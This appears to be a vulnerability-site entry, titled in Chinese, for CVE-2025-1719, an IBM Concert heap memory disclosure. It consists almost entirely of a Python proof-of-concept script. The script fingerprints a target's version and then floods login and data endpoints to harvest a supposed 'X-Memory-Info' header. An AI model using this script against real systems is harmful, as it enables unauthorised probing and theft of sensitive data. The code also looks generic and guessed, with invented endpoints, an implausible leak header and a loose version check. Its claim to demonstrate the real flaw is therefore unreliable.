CVE-2025-1719 IBM Concert堆内存信息泄露漏洞

import requests import json # CVE-2025-1719 PoC - IBM Concert Memory Information Disclosure # This PoC demonstrates the vulnerability in IBM Concert 1.0.0-2.1.0 # where heap memory is not properly cleared before reuse TARGET_HOST = "https://target-ibm-concert-server.com" CVE_ID = "CVE-2025-1719" def check_version(target): """Check if target is running a vulnerable version""" version_url = f"{target}/api/v1/version" try: response = requests.get(version_url, timeout=10) if response.status_code == 200: version_info = response.json() version = version_info.get('version', '') # Check if version is between 1.0.0 and 2.1.0 if version.startswith('1.') or version.startswith('2.0') or version.startswith('2.1'): return True, version except Exception as e: print(f"Error checking version: {e}") return False, None def exploit_memory_leak(target, iterations=100): """ Attempt to trigger memory leak by making repeated requests that involve sensitive data handling """ leaked_data = [] session_url = f"{target}/api/v1/session" for i in range(iterations): # Create new session to trigger memory allocation session = requests.Session() # Perform operations that allocate sensitive memory operations = [ ("POST", f"{target}/api/v1/auth/login", {"username": f"user_{i}", "password": "test"}), ("GET", f"{target}/api/v1/user/profile", None), ("POST", f"{target}/api/v1/data/process", {"data": "x" * 1000}), ] for method, url, data in operations: try: if method == "POST": resp = session.post(url, json=data, timeout=5) else: resp = session.get(url, timeout=5) # Check response headers for potential memory leak indicators if 'X-Memory-Info' in resp.headers: leaked_data.append(resp.headers['X-Memory-Info']) except Exception as e: continue return leaked_data def main(): print(f"[*] Testing {CVE_ID}") print(f"[*] Target: {TARGET_HOST}") is_vulnerable, version = check_version(TARGET_HOST) if not is_vulnerable: print("[-] Target does not appear to be vulnerable") return print(f"[+] Vulnerable version detected: {version}") print("[*] Attempting to exploit memory leak...") leaked = exploit_memory_leak(TARGET_HOST) if leaked: print(f"[!] Potential sensitive data leaked: {len(leaked)} instances") for data in leaked[:5]: print(f" - {data}") else: print("[-] No obvious memory leak detected (may require deeper analysis)") if __name__ == "__main__": main()